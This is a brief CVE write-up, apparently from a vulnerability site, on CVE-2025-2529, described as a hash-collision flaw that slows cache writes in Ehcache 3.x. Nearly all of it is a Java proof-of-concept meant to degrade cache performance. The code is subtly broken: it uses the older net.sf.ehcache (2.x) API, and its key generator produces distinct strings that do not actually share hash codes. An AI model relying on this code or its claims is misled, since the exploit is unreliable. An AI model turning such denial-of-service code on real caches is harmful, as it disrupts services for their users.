CVE-2025-2529：IBM Ehcache 3.x 哈希冲突导致缓存写入性能降级漏洞

import net.sf.ehcache.Cache; import net.sf.ehcache.CacheManager; import net.sf.ehcache.Element; import java.util.ArrayList; import java.util.List; /** * PoC for CVE-2025-2529: Ehcache 3.x Hash Collision Performance Degradation * * This PoC demonstrates how crafting keys with hash collisions can degrade * cache-write performance in Ehcache 3.x when keys are sourced from * untrusted external parties without filtering/salting. */ public class CVE_2025_2529_PoC { public static void main(String[] args) { // Initialize Ehcache CacheManager cacheManager = CacheManager.getInstance(); Cache cache = new Cache("testCache", 100000); cacheManager.addCache(cache); // Generate keys with hash collisions // In a real attack, attacker would craft keys that produce identical hashCode() // For demonstration, we use strings that hash to the same bucket List<String> collisionKeys = generateCollisionKeys(50000); // Measure normal write performance long startNormal = System.currentTimeMillis(); for (int i = 0; i < 10000; i++) { cache.put(new Element("normal_key_" + i, "value_" + i)); } long normalTime = System.currentTimeMillis() - startNormal; System.out.println("Normal cache write time for 10000 entries: " + normalTime + "ms"); // Measure degraded write performance with collision keys long startAttack = System.currentTimeMillis(); for (String key : collisionKeys) { cache.put(new Element(key, "value_" + key)); } long attackTime = System.currentTimeMillis() - startAttack; System.out.println("Degraded cache write time for 50000 collision entries: " + attackTime + "ms"); System.out.println("Performance degradation factor: " + (double) attackTime / normalTime); cacheManager.shutdown(); } /** * Generate keys that produce hash collisions * Uses a technique to find strings with identical hashCode() values */ private static List<String> generateCollisionKeys(int count) { List<String> keys = new ArrayList<>(); int targetHash = "collision_target".hashCode(); // Generate variations that hash to the same value // Real attackers would use more sophisticated methods for (int i = 0; i < count; i++) { // Construct keys designed to collide String key = "collision_" + i + "_" + (targetHash ^ i); keys.add(key); } return keys; } }